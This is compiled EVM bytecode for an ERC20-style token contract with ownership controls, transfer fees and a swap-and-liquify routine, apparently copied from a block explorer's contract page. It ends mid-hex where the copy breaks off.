fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610bdb90612454565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0790612454565b8015610c545780601f10610c2957610100808354040283529160200191610c54565b820191906000526020600020905b815481529060010190602001808311610c3757829003601f168201915b5050505050905090565b6000610d21610c6b611259565b84610d1c8560405180606001604052806025815260200161276f6025913960066000610c95611259565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d59092919063ffffffff16565b611261565b6001905092915050565b6000610d3f610d38611259565b848461142c565b506001905092915050565b610d52611259565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd69061210c565b60405180910390fd5b80600e60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051610e289190612034565b60405180910390a150565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054610e6690612454565b80601f0160208091040260200160405190810160405280929190818152602001828054610e9290612454565b8015610edf5780601f10610eb457610100808354040283529160200191610edf565b820191906000526020600020905b815481529060010190602001808311610ec257829003601f168201915b505050505081565b600e60169054906101000a900460ff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f89611259565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611016576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100d9061210c565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611079611259565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611106576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fd9061210c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611176576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116d906120ac565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c89061214c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611341576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611338906120cc565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161141f919061216c565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561149d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114949061212c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115049061208c565b60405180910390fd5b6000600b5483101590508080156115315750600e60149054906101000a900460ff16155b801561158a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156115a25750600e60159054906101000a900460ff165b156115b5576115b083611697565b6115c8565b6115c08585856116d9565b9150506115ce565b60019150505b9392505050565b600083831115829061161d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611614919061206a565b60405180910390fd5b506000838561162c9190612362565b9050809150509392505050565b60008082846116489190612281565b90508381101561168d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611684906120ec565b60405180910390fd5b8091505092915050565b6001600e60146101000a81548160ff0219169083151502179055506116bb816118a8565b6000600e60146101000a81548160ff02191690831515021790555050565b6000806064600854846116ec9190612308565b6116f691906122d7565b905061174a83600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bc790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117a08184611bc790919063ffffffff16565b92506117f483600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163990919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611894919061216c565b60405180910390a360019150509392505050565b6000600267ffffffffffffffff8111156118eb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156119195781602001602082028036833780820191505090505b5090503081600081518110611957577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119f957600080fd5b505afa158015611a0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a319190611c8e565b81600181518110611a6b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ad230600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611261565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611b589594939291906121b7565b600060405180830381600087803b158015611b7257600080fd5b505af1158015611b86573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611bbb929190612187565b60405180910390a15050565b6000611c0983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115d5565b905092915050565b600081359050611c2081612701565b92915050565b600081519050611c3581612701565b92915050565b600081359050611c4a81612718565b92915050565b600081359050611c5f8161272f565b92915050565b600060208284031215611c7757600080fd5b6000611c8584828501611c11565b91505092915050565b600060208284031215611ca057600080fd5b6000611cae84828501611c26565b91505092915050565b60008060408385031215611cca57600080fd5b6000611cd885828601611c11565b9250506020611ce985828601611c11565b9150509250929050565b600080600060608486031215611d0857600080fd5b6000611d1686828701611c11565b9350506020611d2786828701611c11565b9250506040611d3886828701611c50565b9150509250925092565b60008060408385031215611d5557600080fd5b6000611d6385828601611c11565b9250506020611d7485828601611c3b565b9150509250929050565b60008060408385031215611d9157600080fd5b6000611d9f85828601611c11565b9250506020611db085828601611c50565b9150509250929050565b600060208284031215611dcc57600080fd5b6000611dda84828501611c3b565b91505092915050565b600060208284031215611df557600080fd5b6000611e0384828501611c50565b91505092915050565b6000611e188383611e24565b60208301905092915050565b611e2d81612396565b82525050565b611e3c81612396565b82525050565b6000611e4d8261223c565b611e57818561225f565b9350611e628361222c565b8060005b83811015611e93578151611e7a8882611e0c565b9750611e8583612252565b925050600181019050611e66565b5085935050505092915050565b611ea9816123a8565b82525050565b611eb8816123eb565b82525050565b611ec78161240f565b82525050565b6000611ed882612247565b611ee28185612270565b9350611ef2818560208601612421565b611efb81612513565b840191505092915050565b6000611f13602383612270565b9150611f1e82612524565b604082019050919050565b6000611f36602683612270565b9150611f4182612573565b604082019050919050565b6000611f59602283612270565b9150611f64826125c2565b604082019050919050565b6000611f7c601b83612270565b9150611f8782612611565b602082019050919050565b6000611f9f602083612270565b9150611faa8261263a565b602082019050919050565b6000611fc2602583612270565b9150611fcd82612663565b604082019050919050565b6000611fe5602483612270565b9150611ff0826126b2565b604082019050919050565b612004816123d4565b82525050565b612013816123de565b82525050565b600060208201905061202e6000830184611e33565b92915050565b60006020820190506120496000830184611ea0565b92915050565b60006020820190506120646000830184611eaf565b92915050565b600060208201905081810360008301526120848184611ecd565b905092915050565b600060208201905081810360008301526120a581611f06565b9050919050565b600060208201905081810360008301526120c581611f29565b9050919050565b600060208201905081810360008301526120e581611f4c565b9050919050565b6000602082019050818103600083015261210581611f6f565b9050919050565b6000602082019050818103600083015261212581611f92565b9050919050565b6000602082019050818103600083015261214581611fb5565b9050919050565b6000602082019050818103600083015261216581611fd8565b9050919050565b60006020820190506121816000830184611ffb565b92915050565b600060408201905061219c6000830185611ffb565b81810360208301526121ae8184611e42565b90509392505050565b600060a0820190506121cc6000830188611ffb565b6121d96020830187611ebe565b81810360408301526121eb8186611e42565b90506121fa6060830185611e33565b6122076080830184611ffb565b9695505050505050565b6000602082019050612226600083018461200a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061228c826123d4565b9150612297836123d4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156122cc576122cb612486565b5b828201905092915050565b60006122e2826123d4565b91506122ed836123d4565b9250826122fd576122fc6124b5565b5b828204905092915050565b6000612313826123d4565b915061231e836123d4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561235757612356612486565b5b828202905092915050565b600061236d826123d4565b9150612378836123d4565b92508282101561238b5761238a612486565b5b828203905092915050565b60006123a1826123b4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006123f6826123fd565b9050919050565b6000612408826123b4565b9050919050565b600061241a826123d4565b9050919050565b60005b8381101561243f578082015181840152602081019050612424565b8381111561244e576000848401525b50505050565b6000600282049050600182168061246c57607f821691505b602082108114156124805761247f6124e4565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61270a81612396565b811461271557600080fd5b50565b612721816123a8565b811461272c57600080fd5b50565b612738816123d4565b811461274357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205b6c4ed4365a78b14fde11c9d2cbc552747d0639405a868c01ad1dfb7db35e0164736f6c63430008010033
Deployed Bytecode
0x6080604052600436106101a05760003560e01c806370a08231116100ec578063c816841b1161008a578063dd62ed3e11610064578063dd62ed3e146105dd578063ef422a181461061a578063f2fde38b14610643578063ffae9c501461066c576101a7565b8063c816841b1461055c578063d28d885214610587578063da00097d146105b2576101a7565b806395d89b41116100c657806395d89b411461048e578063a457c2d7146104b9578063a9059cbb146104f6578063c49b9a8014610533576101a7565b806370a082311461040f578063715018a61461044c5780638da5cb5b14610463576101a7565b806339509351116101595780633eaaf86b116101335780633eaaf86b1461036357806342cc2f451461038e57806345e0b9d4146103b95780634a74bb02146103e4576101a7565b806339509351146102d25780633b124fe71461030f5780633b97084a1461033a576101a7565b806306fdde03146101ac578063095ea7b3146101d75780631694505e1461021457806318160ddd1461023f57806323b872dd1461026a578063313ce567146102a7576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c1610697565b6040516101ce919061206a565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f99190611d7e565b610729565b60405161020b9190612034565b60405180910390f35b34801561022057600080fd5b50610229610747565b604051610236919061204f565b60405180910390f35b34801561024b57600080fd5b5061025461076d565b604051610261919061216c565b60405180910390f35b34801561027657600080fd5b50610291600480360381019061028c9190611cf3565b610777565b60405161029e9190612034565b60405180910390f35b3480156102b357600080fd5b506102bc610851565b6040516102c99190612211565b60405180910390f35b3480156102de57600080fd5b506102f960048036038101906102f49190611d7e565b610868565b6040516103069190612034565b60405180910390f35b34801561031b57600080fd5b5061032461091b565b604051610331919061216c565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c9190611de3565b610921565b005b34801561036f57600080fd5b506103786109c0565b604051610385919061216c565b60405180910390f35b34801561039a57600080fd5b506103a36109c6565b6040516103b09190612019565b60405180910390f35b3480156103c557600080fd5b506103ce6109ec565b6040516103db919061216c565b60405180910390f35b3480156103f057600080fd5b506103f96109f2565b6040516104069190612034565b60405180910390f35b34801561041b57600080fd5b5061043660048036038101906104319190611c65565b610a05565b604051610443919061216c565b60405180910390f35b34801561045857600080fd5b50610461610a4e565b005b34801561046f57600080fd5b50610478610ba3565b6040516104859190612019565b60405180910390f35b34801561049a57600080fd5b506104a3610bcc565b6040516104b0919061206a565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190611d7e565b610c5e565b6040516104ed9190612034565b60405180910390f35b34801561050257600080fd5b5061051d60048036038101906105189190611d7e565b610d2b565b60405161052a9190612034565b60405180910390f35b34801561053f57600080fd5b5061055a60048036038101906105559190611dba565b610d4a565b005b34801561056857600080fd5b50610571610e33565b60405161057e9190612019565b60405180910390f35b34801561059357600080fd5b5061059c610e59565b6040516105a9919061206a565b60405180910390f35b3480156105be57600080fd5b506105c7610ee7565b6040516105d49190612034565b60405180910390f35b3480156105e957600080fd5b5061060460048036038101906105ff9190611cb7565b610efa565b604051610611919061216c565b60405180910390f35b34801561062657600080fd5b50610641600480360381019061063c9190611d42565b610f81565b005b34801561064f57600080fd5b5061066a60048036038101906106659190611c65565b611071565b005b34801561067857600080fd5b50610681611233565b60405161068e9190612019565b60405180910390f35b6060600280546106a690612454565b80601f01602080910402602001604051908101604052809291908181526020018280546106d290612454565b801561071f5780601f106106f45761010080835404028352916020019161071f565b820191906000526020600020905b81548152906001019060200180831161070257829003601f168201915b5050505050905090565b600061073d610736611259565b8484611261565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b600061078484848461142c565b5061084684610791611259565b6108418560405180606001604052806028815260200161274760289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f7611259565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d59092919063ffffffff16565b611261565b600190509392505050565b6000600460009054906101000a900460ff16905090565b6000610911610875611259565b8461090c8560066000610886611259565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163990919063ffffffff16565b611261565b6001905092915050565b60085481565b610929611259565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ad9061210c565b60405180910390fd5b80600b8190555050565b60095481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b600e60159054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a56611259565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ada9061210c565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610bdb90612454565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0790612454565b8015610c545780601f10610c2957610100808354040283529160200191610c54565b820191906000526020600020905b815481529060010190602001808311610c3757829003601f168201915b5050505050905090565b6000610d21610c6b611259565b84610d1c8560405180606001604052806025815260200161276f6025913960066000610c95611259565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d59092919063ffffffff16565b611261565b6001905092915050565b6000610d3f610d38611259565b848461142c565b506001905092915050565b610d52611259565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd69061210c565b60405180910390fd5b80600e60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051610e289190612034565b60405180910390a150565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054610e6690612454565b80601f0160208091040260200160405190810160405280929190818152602001828054610e9290612454565b8015610edf5780601f10610eb457610100808354040283529160200191610edf565b820191906000526020600020905b815481529060010190602001808311610ec257829003601f168201915b505050505081565b600e60169054906101000a900460ff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f89611259565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611016576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100d9061210c565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611079611259565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611106576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fd9061210c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611176576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116d906120ac565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c89061214c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611341576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611338906120cc565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161141f919061216c565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561149d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114949061212c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115049061208c565b60405180910390fd5b6000600b5483101590508080156115315750600e60149054906101000a900460ff16155b801561158a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156115a25750600e60159054906101000a900460ff165b156115b5576115b083611697565b6115c8565b6115c08585856116d9565b9150506115ce565b60019150505b9392505050565b600083831115829061161d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611614919061206a565b60405180910390fd5b506000838561162c9190612362565b9050809150509392505050565b60008082846116489190612281565b90508381101561168d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611684906120ec565b60405180910390fd5b8091505092915050565b6001600e60146101000a81548160ff0219169083151502179055506116bb816118a8565b6000600e60146101000a81548160ff02191690831515021790555050565b6000806064600854846116ec9190612308565b6116f691906122d7565b905061174a83600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bc790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117a08184611bc790919063ffffffff16565b92506117f483600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163990919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611894919061216c565b60405180910390a360019150509392505050565b6000600267ffffffffffffffff8111156118eb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156119195781602001602082028036833780820191505090505b5090503081600081518110611957577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119f957600080fd5b505afa158015611a0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a319190611c8e565b81600181518110611a6b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ad230600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611261565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611b589594939291906121b7565b600060405180830381600087803b158015611b7257600080fd5b505af1158015611b86573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611bbb929190612187565b60405180910390a15050565b6000611c0983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115d5565b905092915050565b600081359050611c2081612701565b92915050565b600081519050611c3581612701565b92915050565b600081359050611c4a81612718565b92915050565b600081359050611c5f8161272f565b92915050565b600060208284031215611c7757600080fd5b6000611c8584828501611c11565b91505092915050565b600060208284031215611ca057600080fd5b6000611cae84828501611c26565b91505092915050565b60008060408385031215611cca57600080fd5b6000611cd885828601611c11565b9250506020611ce985828601611c11565b9150509250929050565b600080600060608486031215611d0857600080fd5b6000611d1686828701611c11565b9350506020611d2786828701611c11565b9250506040611d3886828701611c50565b9150509250925092565b60008060408385031215611d5557600080fd5b6000611d6385828601611c11565b9250506020611d7485828601611c3b565b9150509250929050565b60008060408385031215611d9157600080fd5b6000611d9f85828601611c11565b9250506020611db085828601611c50565b9150509250929050565b600060208284031215611dcc57600080fd5b6000611dda84828501611c3b565b91505092915050565b600060208284031215611df557600080fd5b6000611e0384828501611c50565b91505092915050565b6000611e188383611e24565b60208301905092915050565b611e2d81612396565b82525050565b611e3c81612396565b82525050565b6000611e4d8261223c565b611e57818561225f565b9350611e628361222c565b8060005b83811015611e93578151611e7a8882611e0c565b9750611e8583612252565b925050600181019050611e66565b5085935050505092915050565b611ea9816123a8565b82525050565b611eb8816123eb565b82525050565b611ec78161240f565b82525050565b6000611ed882612247565b611ee28185612270565b9350611ef2818560208601612421565b611efb81612513565b840191505092915050565b6000611f13602383612270565b9150611f1e82612524565b604082019050919050565b6000611f36602683612270565b9150611f4182612573565b604082019050919050565b6000611f59602283612270565b9150611f64826125c2565b604082019050919050565b6000611f7c601b83612270565b9150611f8782612611565b602082019050919050565b6000611f9f602083612270565b9150611faa8261263a565b602082019050919050565b6000611fc2602583612270565b9150611fcd82612663565b604082019050919050565b6000611fe5602483612270565b9150611ff0826126b2565b604082019050919050565b612004816123d4565b82525050565b612013816123de565b82525050565b600060208201905061202e6000830184611e33565b92915050565b60006020820190506120496000830184611ea0565b92915050565b60006020820190506120646000830184611eaf565b92915050565b600060208201905081810360008301526120848184611ecd565b905092915050565b600060208201905081810360008301526120a581611f06565b9050919050565b600060208201905081810360008301526120c581611f29565b9050919050565b600060208201905081810360008301526120e581611f4c565b9050919050565b6000602082019050818103600083015261210581611f6f565b9050919050565b6000602082019050818103600083015261212581611f92565b9050919050565b6000602082019050818103600083015261214581611fb5565b9050919050565b6000602082019050818103600083015261216581611fd8565b9050919050565b60006020820190506121816000830184611ffb565b92915050565b600060408201905061219c6000830185611ffb565b81810360208301526121ae8184611e42565b90509392505050565b600060a0820190506121cc6000830188611ffb565b6121d96020830187611ebe565b81810360408301526121eb8186611e42565b90506121fa6060830185611e33565b6122076080830184611ffb565b9695505050505050565b6000602082019050612226600083018461200a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061228c826123d4565b9150612297836123d4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156122cc576122cb612486565b5b828201905092915050565b60006122e2826123d4565b91506122ed836123d4565b9250826122fd576122fc6124b5565b5b828204905092915050565b6000612313826123d4565b915061231e836123d4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561235757612356612486565b5b828202905092915050565b600061236d826123d4565b9150612378836123d4565b92508282101561238b5761238a612486565b5b828203905092915050565b60006123a1826123b4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006123f6826123fd565b9050919050565b6000612408826123b4565b9050919050565b600061241a826123d4565b9050919050565b60005b8381101561243f578082015181840152602081019050612424565b8381111561244e576000848401525b50505050565b6000600282049050600182168061246c57607f821691505b602082108114156124805761247f6124e4565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246